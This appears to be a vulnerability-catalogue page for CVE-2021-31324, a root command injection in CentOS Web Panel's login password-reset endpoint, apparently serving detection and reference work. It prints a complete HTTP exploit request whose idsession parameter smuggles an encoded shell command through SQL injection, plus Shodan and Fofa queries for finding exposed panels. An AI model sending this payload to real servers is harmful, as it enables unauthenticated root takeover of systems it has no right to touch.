🔙 목록으로 돌아가기

CVE-2021-31324: CentOS Web Panel - OS Command Injection

TitleCentOS Web Panel - OS Command Injection
Authorritikchaddha
SeverityCritical
ImpactUnauthenticated attackers can execute arbitrary OS commands with root privileges via command injection in the idsession parameter, leading to complete server compromise.
RemediationApply security updates provided by CentOS Web Panel.
CVSS Score9.8
EPSS Score0.82331
CVE IDCVE-2021-31324
CWE IDCWE-78
Shodan Querytitle:"Login | Control WebPanel"
Fofa Querytitle="Login | Control WebPanel"
Tags cve cve2021 centos cwpsrv os rce vuln

🔍 Vulnerability Description

The unprivileged user portal part of CentOS Web Panel is affected by a Command Injection vulnerability leading to root Remote Code Execution.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:70.0) Gecko/20100101 Firefox/70.0
Connection: close
Accept-Encoding: gzip
POST /login/index.php?acc=newpass HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Connection: close
Content-Length: 210
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

pass1=c3VwZXJwYXNzd29yZA%3D%3D&idsession=a%27+UNION+SELECT%27a%27%2C%27b%27%2C%27c%27%2C%27YWJjIiBVTklPTiBTRUxFQ1QgJ2EnLCdiJywnYycsJ2QnLCcrMSBkYXknLCdmJy0tIHAiO2lkOyNgfHxhfHxifHxjfHxk%27%2C%27e%27%2C%27f%27--+p

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-31324.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-31324.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A